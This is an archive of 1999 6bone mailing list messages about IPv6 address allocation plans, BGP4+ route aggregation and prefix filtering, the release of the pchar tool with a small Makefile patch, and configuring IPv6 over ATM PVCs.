> 	Please specify prefix length in your mind for NLA1/NLA2/SLA, for
> 	correctness of discussion. 
> 
> 	kenken, you'd better describe your current plan about 2001:200::/35
> 	(sTLA for WIDE project).
> 

In WIDE project,we'll allocate sTLA address prefix as follows:

		  /35     /41      /48	  /64	     /128
	+----------+-------+--------+-----+----------+
	|sTLA      | NLA1  | NLA2   |SLA  |  ID      |
	+----------+-------+--------+-----+----------+

	 We divied NLA space as NLA1(/41) and NLA2(/48)

	-The target of NLA1 is a {small,medium} ISPs that want to
	 allocate IPv6 address prefix for customes(DO NOT use for
	 bussiness in our rules)

	-And the target of NLA2 is Academics,Companies,Research
	 Institue and so.

	-We don't assign SLA space and organizations 
	 decide to allocate SLA address space.


regards.

--
Kengo NAGHASHI
Keio University/WIDE Project
<kenken@sfc.wide.ad.jp>
	

From 6bone-owner  Mon Nov  1 01:14:19 1999
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Subject: Re: (6bone-jp 1006) IPv6 frame
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Dear itojun,

I planed like following from.
Wlii you send me some comment?
Thank you.


(sTLA 2001:220::/35)

              /35       /40        /42    /48       /64
/128
+--------+-------+------+-----+---------+----------+
|   sTLA  |  NLA1  | RES  |NLA2 |    SLA    |      ID      |
+--------+-------+------+-----+---------+----------+

NLA1: ISP
RES: reservation
NLA2: orgization
SLA: organization area
ID : interface ID


--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Mon Nov  1 09:56:29 1999
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Date: Mon, 01 Nov 1999 09:50:34 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: IPv6 Operational Topics Meeting in DC
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IPv6 operational folk,

Marc Blanchet and I will be hosting a one-hour mid-day IPv6 Operational
Topics Meeting during the Washington DC IETF week to discuss operational
ipv6-related topics. 

Potential topics we would like to see covered are:

a. state of 6tap peering

b. state of other peering points (Amsterdam, Japan...)

c. exploring options for maximal interconnect (6to4 relays, etc.)

d. explore interest in ipv6 route server availability

e. state of production-ipv6-nets (various 2001::/35 sTLA prefixes are being
 handed out so folk should be willing to say what they are doing)

f. advice for getting production (sTLA) prefixes

g. discuss hardening activities for 6bone

h. IPv6 (6bone) registry usage, what to expand, what to enforce

i. real application usage experience
 
j. your ideas here?!


So, please comment on the following things:

1. The agenda above, i.e., will you want to speak and for what topic.

2. Additional topics for the agenda that you will speak to or want others
to speak to.

[Note that given the limit of one-hour for the meeting that these items are
for very brief status updates and key issue presentations.]

3. Best time (for you) for the meeting:

 Choices are 11:45 till 12:45 (in the same room that the IPng will be in)
 either Wed. or Thurs.


We will announce the exact time/day and the agenda the lists as soon as we
can. Whatever the day, assume it will be in the  same room that the IPng
will be in, which is currently the Regency. As the IPng meeting will be
Wed. and Thurs. from 1-3, the IPv6 Operational meeting will end just before
IPng starts, either Wed. or Thurs., depending on the day we choose.


Thanks,

Bob (and Marc)

PS: for those in town on Sunday, there will be an IEPG meeting (10-?? at
the Omni) for which Marc and I will try to get on the agenda to speak to
some operational topics listed above. Get yourselves on that meeting's
agenda if you can do it.

From 6bone-owner  Wed Nov  3 02:56:10 1999
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Date: Wed, 03 Nov 1999 11:54:48 +0100
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: Unaggregated prefixes in BGP4+ cloud
To: "'6bone'" <6bone@ISI.EDU>
Message-id: <9187FF572943D211B28100805FC130FC011DA857@xrr1.cselt.it>
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Hi all,

during the last two weeks the number of unaggregated IPv6 prefixes
advertised 
within the BGP4+ cloud is increased a lot (look at
http://carmen.cselt.it/ipv6/bgp/odd-routes.html 
and http://carmen.cselt.it/ipv6/bgp/graphs/index.html) and I think that this
is a
very undesirable thing that should be fixed especially if we really consider
the 6bone as a
gymnasium for production use of IPv6.
The ASs that are currently generating most of the unaggregated prefixes are:

- AS7680 with 22 unaggregated prefixes
- AS4556 with 20 unaggregated prefixes
- AS2852 (CESNET) with 8 unaggregated prefixes
- AS11008 (CENTAURI-AR) with 8 unaggregated prefixes

Unfortunately I was not able to locate contact persons for AS7680 and AS4556
in that they
seem not to be registered in the 6bone database. 
The poor use of the 6bone registry is another critical issue that we should
try
to address especially for the sites participating in the BGP4+ cloud. For
example
I think that any pTLA or pNLA should make sure that any new downstream BGP4+
peer
is correctly registered in the 6bone database before setting up the
connection.

Bye
Ivano




From 6bone-owner  Wed Nov  3 06:22:31 1999
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Date: Wed, 3 Nov 1999 09:22:23 -0500 (EST)
From: "Robert J. Rockell" <rrockell@sprint.net>
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To: Guardini Ivano <Ivano.Guardini@CSELT.IT>
cc: "'6bone'" <6bone@ISI.EDU>
Subject: Re: Unaggregated prefixes in BGP4+ cloud
In-Reply-To: <9187FF572943D211B28100805FC130FC011DA857@xrr1.cselt.it>
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Give them a week, and then filter them?   :)

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?

On Wed, 3 Nov 1999, Guardini Ivano wrote:

->Hi all,
->
->during the last two weeks the number of unaggregated IPv6 prefixes
->advertised 
->within the BGP4+ cloud is increased a lot (look at
->http://carmen.cselt.it/ipv6/bgp/odd-routes.html 
->and http://carmen.cselt.it/ipv6/bgp/graphs/index.html) and I think that this
->is a
->very undesirable thing that should be fixed especially if we really consider
->the 6bone as a
->gymnasium for production use of IPv6.
->The ASs that are currently generating most of the unaggregated prefixes are:
->
->- AS7680 with 22 unaggregated prefixes
->- AS4556 with 20 unaggregated prefixes
->- AS2852 (CESNET) with 8 unaggregated prefixes
->- AS11008 (CENTAURI-AR) with 8 unaggregated prefixes
->
->Unfortunately I was not able to locate contact persons for AS7680 and AS4556
->in that they
->seem not to be registered in the 6bone database. 
->The poor use of the 6bone registry is another critical issue that we should
->try
->to address especially for the sites participating in the BGP4+ cloud. For
->example
->I think that any pTLA or pNLA should make sure that any new downstream BGP4+
->peer
->is correctly registered in the 6bone database before setting up the
->connection.
->
->Bye
->Ivano
->
->
->


From 6bone-owner  Wed Nov  3 07:19:42 1999
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Date: Wed, 03 Nov 1999 16:13:35 +0100
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: RE: Unaggregated prefixes in BGP4+ cloud
To: "'Robert J. Rockell'" <rrockell@sprint.net>
Cc: "'6bone'" <6bone@ISI.EDU>
Message-id: <9187FF572943D211B28100805FC130FC011DA858@xrr1.cselt.it>
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Hi Rob,

so far I have always tried to avoid prefix filtering on my
IPv6 routers. The problem is that this practice may hide
some of the router bugs or configuration mistakes that 
we are trying to fix as part of the 6bone effort.
Anyway I think that at present we do need some kind of
mechanism to enforce the 6bone hardening rules outlined in your
draft and prefix filtering seems to be an effective way to deal
with the matter.

So I will do as you suggest.
In addition, in order to help debugging, I'm going to make 
available an html page showing the prefix filters configured 
at the CSELT pTLA.

Bye
Ivano


> ----------
> From: 	Robert J. Rockell[SMTP:rrockell@sprint.net]
> Sent: 	Wednesday, November 03, 1999 3:22 PM
> To: 	Guardini Ivano
> Cc: 	'6bone'
> Subject: 	Re: Unaggregated prefixes in BGP4+ cloud
> 
> Give them a week, and then filter them?   :)
> 
> Thanks
> Rob Rockell
> Sprintlink Internet Service Center
> Operations Engineering
> 703-689-6322
> 1-800-724-3329, PIN 385-8833
> Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?
> 
> On Wed, 3 Nov 1999, Guardini Ivano wrote:
> 
> ->Hi all,
> ->
> ->during the last two weeks the number of unaggregated IPv6 prefixes
> ->advertised 
> ->within the BGP4+ cloud is increased a lot (look at
> ->http://carmen.cselt.it/ipv6/bgp/odd-routes.html 
> ->and http://carmen.cselt.it/ipv6/bgp/graphs/index.html) and I think that
> this
> ->is a
> ->very undesirable thing that should be fixed especially if we really
> consider
> ->the 6bone as a
> ->gymnasium for production use of IPv6.
> ->The ASs that are currently generating most of the unaggregated prefixes
> are:
> ->
> ->- AS7680 with 22 unaggregated prefixes
> ->- AS4556 with 20 unaggregated prefixes
> ->- AS2852 (CESNET) with 8 unaggregated prefixes
> ->- AS11008 (CENTAURI-AR) with 8 unaggregated prefixes
> ->
> ->Unfortunately I was not able to locate contact persons for AS7680 and
> AS4556
> ->in that they
> ->seem not to be registered in the 6bone database. 
> ->The poor use of the 6bone registry is another critical issue that we
> should
> ->try
> ->to address especially for the sites participating in the BGP4+ cloud.
> For
> ->example
> ->I think that any pTLA or pNLA should make sure that any new downstream
> BGP4+
> ->peer
> ->is correctly registered in the 6bone database before setting up the
> ->connection.
> ->
> ->Bye
> ->Ivano
> ->
> ->
> ->
> 

From 6bone-owner  Wed Nov  3 09:04:11 1999
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To: Ivano.Guardini@CSELT.IT
Cc: 6bone@ISI.EDU
Cc: seirios@Matrix.iri.co.jp
Subject: Re: Unaggregated prefixes in BGP4+ cloud
In-Reply-To: <9187FF572943D211B28100805FC130FC011DA857@xrr1.cselt.it>
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	$B5v$G$9!#(B

> - AS7680 with 22 unaggregated prefixes

	$B$3$l$O!"F|K\$NAH?%$G$9$M!#(B

> - AS4556 with 20 unaggregated prefixes

	$B$3$l$O!"$I$&$d$i%"%a%j%+$NAH?%$+$J!#(B

$B$[(B

From 6bone-owner  Wed Nov  3 10:09:12 1999
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Date: Wed, 03 Nov 1999 10:00:38 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pchar for v6
Cc: bmah@ca.sandia.gov (Bruce A. Mah)
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Look at this! pathchar for v6!  Neat. Good work Bruce.


Bob

>------- Forwarded Message
>
>To: pchar-announce@stennis.ca.sandia.gov
>Cc: bmah@ca.sandia.gov
>Subject: pchar-1.0 available
>From: bmah@ca.sandia.gov (Bruce A. Mah)
>Date: Wed, 03 Nov 1999 09:45:12 -0800
>
>I'm pleased to announce the release of pchar-1.0, a reimplementation
>of Van Jacobson's pathchar utility for characterizing the individual
>hops of a path between two network hosts.  pchar works on both IPv4
>and IPv6 networks.
>
>pchar has been tested on various versions of FreeBSD, Solaris, Linux,
>and IRIX, with the primary development on FreeBSD and Solaris.  pchar
>is written is C++, primarily using recent versions of gcc, but with
>some testing also on the SparcWorks C++ compiler.
>
>Recent additions to pchar include: IPv6 support, better Linux
>compatability, a more comprehensive tracefile format, and mroe options
>for measurement and analysis.  A number of bugs have been fixed as
>well.
>
>More information, as well as downloadable source code, can be found at:
>
>http://www.ca.sandia.gov/~bmah/Software/pchar/
>
>Bruce.
>
>
>
>
>
>- --==_Exmh_-105180048P
>Content-Type: application/pgp-signature
>
>- -----BEGIN PGP SIGNATURE-----
>Version: PGPfreeware 5.0i for non-commercial use
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>
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>=swT3
>- -----END PGP SIGNATURE-----
>
>- --==_Exmh_-105180048P--
>
>------- End of Forwarded Message


From 6bone-owner  Wed Nov  3 10:37:21 1999
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To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@ISI.EDU>, bmah@california.sandia.gov (Bruce A. Mah)
Subject: Re: pchar for v6 
In-Reply-To: Your message of "Wed, 03 Nov 1999 10:00:38 PST."
             <4.1.19991103095845.018f48c0@imap2.es.net> 
From: bmah@CA.Sandia.GOV (Bruce A. Mah)
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--==_Exmh_814271940P
Content-Type: text/plain; charset=us-ascii

If memory serves me right, Bob Fink wrote:
> Look at this! pathchar for v6!  Neat. Good work Bruce.

Thanks.  I'd be interested to hear from people about their successes and
failures with pchar on IPv6 (particularly on stacks other than KAME
since that's all I have at my disposal right now).

Cheers,

Bruce.





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From 6bone-owner  Wed Nov  3 14:09:46 1999
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From: "Robert J. Rockell" <rrockell@sprint.net>
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To: 6bone@ISI.EDU
Subject: bad routing
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Forewarning: if you are going to be offended by seeing your own AS in this
mail, do not read any further.


I will use my own example, so as to not affend anyone, but I did want to
mention something more regarding Ivano's mail about poorly aggregated
prefixes.  Please consider the following excerpt from yesterday's report:

 SPRINT (3ffe:2900::/24) had 10 route(s)
    3ffe:2900:1::18/126 path 1225 1849 5539 4556 ( -- 100%)
    3ffe:2900:c:8::/64 path 2839 1103 786 1849 1225 4556 ( -- 100%)
    3ffe:29a1::/64 path 1225 1103 786 1849 3251 1930 1251 4270 11008
    3ffe:2900:1::/64 path 2839 1103 786 1849 1225 4556 ( -- 100%)
    3ffe:2900:ffe3::/48 path 1225 1103 1200 8251 8731 8319 6175 7838 (USAA
    3ffe:2900:5::/48 path 1225 1312 (LORE/VT -- 100%)
    3ffe:29a1:c::/48 path 1225 1103 786 1849 3251 1930 1251 4270 11008
    3ffe:2900:c005::/48 path 1225 1103 1200 8251 8731 8319 6175 11017 ( --
    3ffe:2900:9::/48 path 1225 1103 1200 8251 8731 8319 6175 71 (HP -- 93%)
    3ffe:29a2::/32 path 1225 1103 1200 8251 8731 8319 6175 11261 (ASCI --

Looking at these, one may think "wow, Sprint sure is bad at aggregating it's
prefixes".  However, if you look at this, one can see that SPrint's ASN
(6175) is only in four of these BAD routes' AS path.
 
3ffe:29a2::/32
3ffe:2900:9::/48
3ffe:2900:c005::/48
3ffe:2900:ffe3::/48 


Now, as these do have Sprint in the AS path, we can see that the next AS in
the path is both accepting these routes, and propogating them back up. AS
8319 is a peer of Sprint, and Sprint is sending more specifics, and breaking
aggregation rules.

This has been fixed. However one may argue that AS8319 could filter more
specifics from sprint, and help to alleviate this problem. I have adjusted
my outbound filters to compensate.  SPRINT is at fault, but the upstream who
allowed them shares blame (AS8319).

The theory that filtering is bad because it does not show bugs in your
system is no longer valid. If your IPv6 node is a single router, then you
shoudl not be a pTLA, but a leaf node. One's internal network should suffice
to test implementations. This way, it does not affect the rest of us.

Every other route in this case does not even have Sprint in the AS path,
which means someone else (usually the Sprint downstream) is leaking the route
back up to their other upstreams.

We have been trying to curtail this since orlando IETF.   

It is the fault of the upstream provider to allow these announcements out,a
nd the fault of EVERY PTLA in the AS path to allow these prefixes to be
transitted. If you cannot filter, then give back your pTLA please.  This is a
testbed, but this is not a lab.   You affect others when you break
aggregation.  I will be glad to give you a transit connection, and some IPv6
space to play.


I will be contacting each of my downstreams who are leaking bad routes, and
helping to get this fixed. If you have a lot of customers, please do the
same. People who are on the bad rotuing report more than usually are not to
blaim for most of the  bad rotues. It is their downstream customers other
providers who have the problem. 

MERIT: Woudl it be possible to jog this report to start blaiming the AS who
is at fault, rather than the pTLA who cannot fix it?


The worst offenders:

AS 4555
AS 7680
AS 11008
AS 2852

IF you have these customers as direct downsteams, please filter them, for
the sake of the rest of us.  

Bob, perhaps we need to start actively policing this. I can see people on
the bad routing report who have been there since I first heard of IPv6, and
still refuse to filter. I will begin to take action on my pTLA. I encourage
the rest of you to do so as well. Write to me personally if you do not nkow
how/what to filter, and I can point you somewhere to learn.












Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?


From 6bone-owner  Wed Nov  3 23:29:40 1999
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To: Ivano.Guardini@CSELT.IT
Cc: 6bone@ISI.EDU
Cc: seirios@Matrix.iri.co.jp
Subject: Re: Unaggregated prefixes in BGP4+ cloud
In-Reply-To: <19991104020121G.seirios@Matrix.iri.co.jp>
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Date: Thu, 04 Nov 1999 16:13:49 +0900
From: HEO SeonMeyong <seirios@Matrix.iri.co.jp>
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	This is HEO SeonMeyong writing.

	I'm very sorry for may Japanese Encoding Mail.
	I want to send it for Japanese ML...

	I resend it in English.

> > - AS7680 with 22 unaggregated prefixes

	This is Japanese Organization.
	From APNIC, This is RADIX

> > - AS4556 with 20 unaggregated prefixes

	This is in America Organization, maybe.

HEO

From 6bone-owner  Thu Nov  4 00:31:56 1999
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To: bmah@CA.Sandia.GOV
Cc: fink@es.net, 6bone@ISI.EDU, bmah@california.sandia.gov
Cc: sumikawa@ebina.hitachi.co.jp
Subject: Re: pchar for v6 
In-Reply-To: <199911031837.KAA03911@nimitz.ca.sandia.gov>
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Date: Thu, 04 Nov 1999 17:31:40 +0900 (JST)
From: SUMIKAWA Munechika (=?ISO-2022-JP?B?GyRCM1FAbj0hNmEbKEI=?=) 
	<sumikawa@ebina.hitachi.co.jp>
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Bruce,

We, KAME developers, made port/pkgsrc of KAME-NetBSD and KAME-FreeBSD
for easily installation. It will be distributed at next snap on Monday.

Tiny patch for pchar-1.0 is attached as below. You should use
$(INSTALL_DATA) to install manuals. Could you merge it at next
release?

Thanks,

---
Munechika SUMIKAWA @ KAME Project

------------------------------------------------------------
--- Makefile.in.orig	Thu Nov  4 02:12:36 1999
+++ Makefile.in	Thu Nov  4 14:42:00 1999
@@ -179,7 +179,7 @@
 
 install-man:
 	$(MKINSTALLDIRS) ${mandir}/man1
-	$(INSTALL_PROGRAM) pchar.1 ${mandir}/man1/pchar.1
+	$(INSTALL_DATA) pchar.1 ${mandir}/man1/pchar.1
 
 #
 # clean

From 6bone-owner  Thu Nov  4 03:59:45 1999
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From: Aljaz Tomaz    RDSI <aljaz@iskratel.si>
To: 6BONE List <6bone@ISI.EDU>
Subject: ATM PVC &IPv6
Date: Thu, 4 Nov 1999 12:51:10 +0100 
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Hi all!
I wonder how IPv6 communicate via ATM PVC. Does it employ some protokolol
like Invers ARP in IPv4 or you have to configure static address maping
IPv6/ATM. Could someone explain me this situation?

Regards,
Tomaz

From 6bone-owner  Thu Nov  4 05:55:20 1999
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: Aljaz Tomaz RDSI <aljaz@iskratel.si>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: ATM PVC &IPv6 
In-reply-to: Your message of Thu, 04 Nov 1999 12:51:10 +0100.
             <7E8519F1A7C0D211B0D200A0C93AA60F3D28C9@ntmail.iskratel.si> 
Date: Thu, 04 Nov 1999 14:55:07 +0100
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 In your previous mail you wrote:

   I wonder how IPv6 communicate via ATM PVC.

=> IPv6 over ATM PVCs works very well.

   Does it employ some protokolol like Invers ARP in IPv4 or

=> there is an Internet Draft about inverse discovery by Alex Conta
(draft-ietf-ion-ipv6-ind-03.txt) but the target is Frame Relay
(but this "may also apply to other networks with similar behavior",
ie. other NBMA like ATM).

   you have to configure static address maping IPv6/ATM.

=> this is the standard way to do it, for instance on a Cisco with
an IPv6 enable IOS in a "map-list" you can have something like:
 ipv6 3FFE:306:1051:D6DB:2020:EAFF:FE00:2D5F atm-vc 70

   Could someone explain me this situation?
   
=> just try it!

Regards

Francis.Dupont@inria.fr

From 6bone-owner  Thu Nov  4 07:19:07 1999
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From: "rob" <rob@consoftware.com>
To: "'Robert J. Rockell'" <rrockell@sprint.net>, <6bone@ISI.EDU>
Subject: RE: bad routing
Date: Thu, 4 Nov 1999 10:01:14 -0500
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Robert, you need to relax.


-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
Robert J. Rockell
Sent: Thursday, November 04, 1999 8:57 AM
To: 6bone@ISI.EDU
Subject: bad routing


Forewarning: if you are going to be offended by seeing your own AS in this
mail, do not read any further.


I will use my own example, so as to not affend anyone, but I did want to
mention something more regarding Ivano's mail about poorly aggregated
prefixes.  Please consider the following excerpt from yesterday's report:

 SPRINT (3ffe:2900::/24) had 10 route(s)
    3ffe:2900:1::18/126 path 1225 1849 5539 4556 ( -- 100%)
    3ffe:2900:c:8::/64 path 2839 1103 786 1849 1225 4556 ( -- 100%)
    3ffe:29a1::/64 path 1225 1103 786 1849 3251 1930 1251 4270 11008
    3ffe:2900:1::/64 path 2839 1103 786 1849 1225 4556 ( -- 100%)
    3ffe:2900:ffe3::/48 path 1225 1103 1200 8251 8731 8319 6175 7838 (USAA
    3ffe:2900:5::/48 path 1225 1312 (LORE/VT -- 100%)
    3ffe:29a1:c::/48 path 1225 1103 786 1849 3251 1930 1251 4270 11008
    3ffe:2900:c005::/48 path 1225 1103 1200 8251 8731 8319 6175 11017 ( --
    3ffe:2900:9::/48 path 1225 1103 1200 8251 8731 8319 6175 71 (HP -- 93%)
    3ffe:29a2::/32 path 1225 1103 1200 8251 8731 8319 6175 11261 (ASCI --

Looking at these, one may think "wow, Sprint sure is bad at aggregating it's
prefixes".  However, if you look at this, one can see that SPrint's ASN
(6175) is only in four of these BAD routes' AS path.

3ffe:29a2::/32
3ffe:2900:9::/48
3ffe:2900:c005::/48
3ffe:2900:ffe3::/48


Now, as these do have Sprint in the AS path, we can see that the next AS in
the path is both accepting these routes, and propogating them back up. AS
8319 is a peer of Sprint, and Sprint is sending more specifics, and breaking
aggregation rules.

This has been fixed. However one may argue that AS8319 could filter more
specifics from sprint, and help to alleviate this problem. I have adjusted
my outbound filters to compensate.  SPRINT is at fault, but the upstream who
allowed them shares blame (AS8319).

The theory that filtering is bad because it does not show bugs in your
system is no longer valid. If your IPv6 node is a single router, then you
shoudl not be a pTLA, but a leaf node. One's internal network should suffice
to test implementations. This way, it does not affect the rest of us.

Every other route in this case does not even have Sprint in the AS path,
which means someone else (usually the Sprint downstream) is leaking the
route
back up to their other upstreams.

We have been trying to curtail this since orlando IETF.

It is the fault of the upstream provider to allow these announcements out,a
nd the fault of EVERY PTLA in the AS path to allow these prefixes to be
transitted. If you cannot filter, then give back your pTLA please.  This is
a
testbed, but this is not a lab.   You affect others when you break
aggregation.  I will be glad to give you a transit connection, and some IPv6
space to play.


I will be contacting each of my downstreams who are leaking bad routes, and
helping to get this fixed. If you have a lot of customers, please do the
same. People who are on the bad rotuing report more than usually are not to
blaim for most of the  bad rotues. It is their downstream customers other
providers who have the problem.

MERIT: Woudl it be possible to jog this report to start blaiming the AS who
is at fault, rather than the pTLA who cannot fix it?


The worst offenders:

AS 4555
AS 7680
AS 11008
AS 2852

IF you have these customers as direct downsteams, please filter them, for
the sake of the rest of us.

Bob, perhaps we need to start actively policing this. I can see people on
the bad routing report who have been there since I first heard of IPv6, and
still refuse to filter. I will begin to take action on my pTLA. I encourage
the rest of you to do so as well. Write to me personally if you do not nkow
how/what to filter, and I can point you somewhere to learn.












Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?




From 6bone-owner  Thu Nov  4 07:25:50 1999
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Date: Thu, 4 Nov 1999 10:25:42 -0500 (EST)
From: "Robert J. Rockell" <rrockell@sprint.net>
X-Sender: rrockell@iscone
To: rob <rob@consoftware.com>
cc: 6bone@ISI.EDU
Subject: RE: bad routing
In-Reply-To: <002201bf26d6$7350df80$450101c0@rob>
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I would agree with that :)

However, I believe that ipv6 backbone stability is going to be more than
just nice if we are to convince the mostly anti-v6 world that this stuff
works. If the "experts" can't make it work, how do we get the rest of the
world on board?  Big Business involvement is the key to IPv6's sucess. Big
Business is wary to change. If we can't show EXPLICIT improvement in IPv6
over IPv4, the transition will be delayed till the very end. I just don't
want to see this happen. Sorry if I strap my boots on a little to tight. I
think it is time someone did. If SPRINT did this in the Internet, we would
get killed on the NANOG mailing list... I think it would be nice if everyone
took this a little more seriously.  Sorry if I offend anyone.

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?

On Thu, 4 Nov 1999, rob wrote:

->
->Robert, you need to relax.
->
->
->-----Original Message-----
->From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
->Robert J. Rockell
->Sent: Thursday, November 04, 1999 8:57 AM
->To: 6bone@ISI.EDU
->Subject: bad routing
->
->
->Forewarning: if you are going to be offended by seeing your own AS in this
->mail, do not read any further.
->
->
->I will use my own example, so as to not affend anyone, but I did want to
->mention something more regarding Ivano's mail about poorly aggregated
->prefixes.  Please consider the following excerpt from yesterday's report:
->
-> SPRINT (3ffe:2900::/24) had 10 route(s)
->    3ffe:2900:1::18/126 path 1225 1849 5539 4556 ( -- 100%)
->    3ffe:2900:c:8::/64 path 2839 1103 786 1849 1225 4556 ( -- 100%)
->    3ffe:29a1::/64 path 1225 1103 786 1849 3251 1930 1251 4270 11008
->    3ffe:2900:1::/64 path 2839 1103 786 1849 1225 4556 ( -- 100%)
->    3ffe:2900:ffe3::/48 path 1225 1103 1200 8251 8731 8319 6175 7838 (USAA
->    3ffe:2900:5::/48 path 1225 1312 (LORE/VT -- 100%)
->    3ffe:29a1:c::/48 path 1225 1103 786 1849 3251 1930 1251 4270 11008
->    3ffe:2900:c005::/48 path 1225 1103 1200 8251 8731 8319 6175 11017 ( --
->    3ffe:2900:9::/48 path 1225 1103 1200 8251 8731 8319 6175 71 (HP -- 93%)
->    3ffe:29a2::/32 path 1225 1103 1200 8251 8731 8319 6175 11261 (ASCI --
->
->Looking at these, one may think "wow, Sprint sure is bad at aggregating it's
->prefixes".  However, if you look at this, one can see that SPrint's ASN
->(6175) is only in four of these BAD routes' AS path.
->
->3ffe:29a2::/32
->3ffe:2900:9::/48
->3ffe:2900:c005::/48
->3ffe:2900:ffe3::/48
->
->
->Now, as these do have Sprint in the AS path, we can see that the next AS in
->the path is both accepting these routes, and propogating them back up. AS
->8319 is a peer of Sprint, and Sprint is sending more specifics, and breaking
->aggregation rules.
->
->This has been fixed. However one may argue that AS8319 could filter more
->specifics from sprint, and help to alleviate this problem. I have adjusted
->my outbound filters to compensate.  SPRINT is at fault, but the upstream who
->allowed them shares blame (AS8319).
->
->The theory that filtering is bad because it does not show bugs in your
->system is no longer valid. If your IPv6 node is a single router, then you
->shoudl not be a pTLA, but a leaf node. One's internal network should suffice
->to test implementations. This way, it does not affect the rest of us.
->
->Every other route in this case does not even have Sprint in the AS path,
->which means someone else (usually the Sprint downstream) is leaking the
->route
->back up to their other upstreams.
->
->We have been trying to curtail this since orlando IETF.
->
->It is the fault of the upstream provider to allow these announcements out,a
->nd the fault of EVERY PTLA in the AS path to allow these prefixes to be
->transitted. If you cannot filter, then give back your pTLA please.  This is
->a
->testbed, but this is not a lab.   You affect others when you break
->aggregation.  I will be glad to give you a transit connection, and some IPv6
->space to play.
->
->
->I will be contacting each of my downstreams who are leaking bad routes, and
->helping to get this fixed. If you have a lot of customers, please do the
->same. People who are on the bad rotuing report more than usually are not to
->blaim for most of the  bad rotues. It is their downstream customers other
->providers who have the problem.
->
->MERIT: Woudl it be possible to jog this report to start blaiming the AS who
->is at fault, rather than the pTLA who cannot fix it?
->
->
->The worst offenders:
->
->AS 4555
->AS 7680
->AS 11008
->AS 2852
->
->IF you have these customers as direct downsteams, please filter them, for
->the sake of the rest of us.
->
->Bob, perhaps we need to start actively policing this. I can see people on
->the bad routing report who have been there since I first heard of IPv6, and
->still refuse to filter. I will begin to take action on my pTLA. I encourage
->the rest of you to do so as well. Write to me personally if you do not nkow
->how/what to filter, and I can point you somewhere to learn.
->
->
->
->
->
->
->
->
->
->
->
->
->Thanks
->Rob Rockell
->Sprintlink Internet Service Center
->Operations Engineering
->703-689-6322
->1-800-724-3329, PIN 385-8833
->Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?
->
->
->


From 6bone-owner  Thu Nov  4 08:18:02 1999
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    <sumikawa@ebina.hitachi.co.jp>
Cc: bmah@california.sandia.gov, fink@es.net, 6bone@ISI.EDU
Subject: Re: pchar for v6 
In-Reply-To: Your message of "Thu, 04 Nov 1999 17:31:40 +0900."
             <19991104173140V.sumikawa@ebina.hitachi.co.jp> 
From: bmah@CA.Sandia.GOV (Bruce A. Mah)
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If memory serves me right, SUMIKAWA Munechika wrote:

> We, KAME developers, made port/pkgsrc of KAME-NetBSD and KAME-FreeBSD
> for easily installation. It will be distributed at next snap on Monday.

Cool.  Does this mean that pchar works on NetBSD?  On which platform(s)?

> Tiny patch for pchar-1.0 is attached as below. You should use
> $(INSTALL_DATA) to install manuals. Could you merge it at next
> release?

[snip]

Just committed this, thanks for the correction!

Bruce.



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From 6bone-owner  Thu Nov  4 08:29:53 1999
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To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: production IPv6 subTLA allocations
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Juergen Rauschenbach of DFN has kindly generated a consolidated and
regularly (?) updated list of subTLA allocations from the APNIC, ARIN and
RIPE-NCC registries.

I have added a pointer to it on the 6bone and 6ren pages, but here is the url.

<http://www.dfn.de/cgi-bin/ipv6reg>


Thanks Juergen!

Bob


From 6bone-owner  Thu Nov  4 09:35:51 1999
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To: bmah@CA.Sandia.GOV
Cc: 6bone@ISI.EDU
Cc: sumikawa@ebina.hitachi.co.jp
Subject: Re: pchar for v6 
In-Reply-To: <199911041617.IAA13810@nimitz.ca.sandia.gov>
References: <19991104173140V.sumikawa@ebina.hitachi.co.jp>
	<199911041617.IAA13810@nimitz.ca.sandia.gov>
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From: SUMIKAWA Munechika (=?ISO-2022-JP?B?GyRCM1FAbj0hNmEbKEI=?=) 
	<sumikawa@ebina.hitachi.co.jp>
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> We, KAME developers, made port/pkgsrc of KAME-NetBSD and KAME-FreeBSD
> for easily installation. It will be distributed at next snap on Monday.
bmah> Cool.  Does this mean that pchar works on NetBSD?  On which platform(s)?

Yes. We checked that it works on only KAME-NetBSD1.4.1-i386.

But, I got strage results in some situation. See #3 item in the
following results. Pchar reports minus Band Width. What happens?

It happend on KAME-FreeBSD3.3-i386 box. If you need more information
for debugging, let me know.

Thanks,

---
Munechika SUMIKAWA @ KAME Project

--------------------------------------------------------
prince:~% root pchar -p ipv6udp june.v6.wide.ad.jp
pchar to june.v6.wide.ad.jp (3ffe:501:0:801:290:27ff:fe61:b0dd) using UDP/IPv6
Packet size increments by 32 to 1500
46 test(s) per repetition
32 repetition(s) per hop
 0:
    Partial loss:      0 / 1440 (0%)
    Partial char:      rtt = 0.502937 ms, (b = 0.002287 ms/B), r2 = 0.997345
                       stddev rtt = 0.013819, stddev b = 0.000018
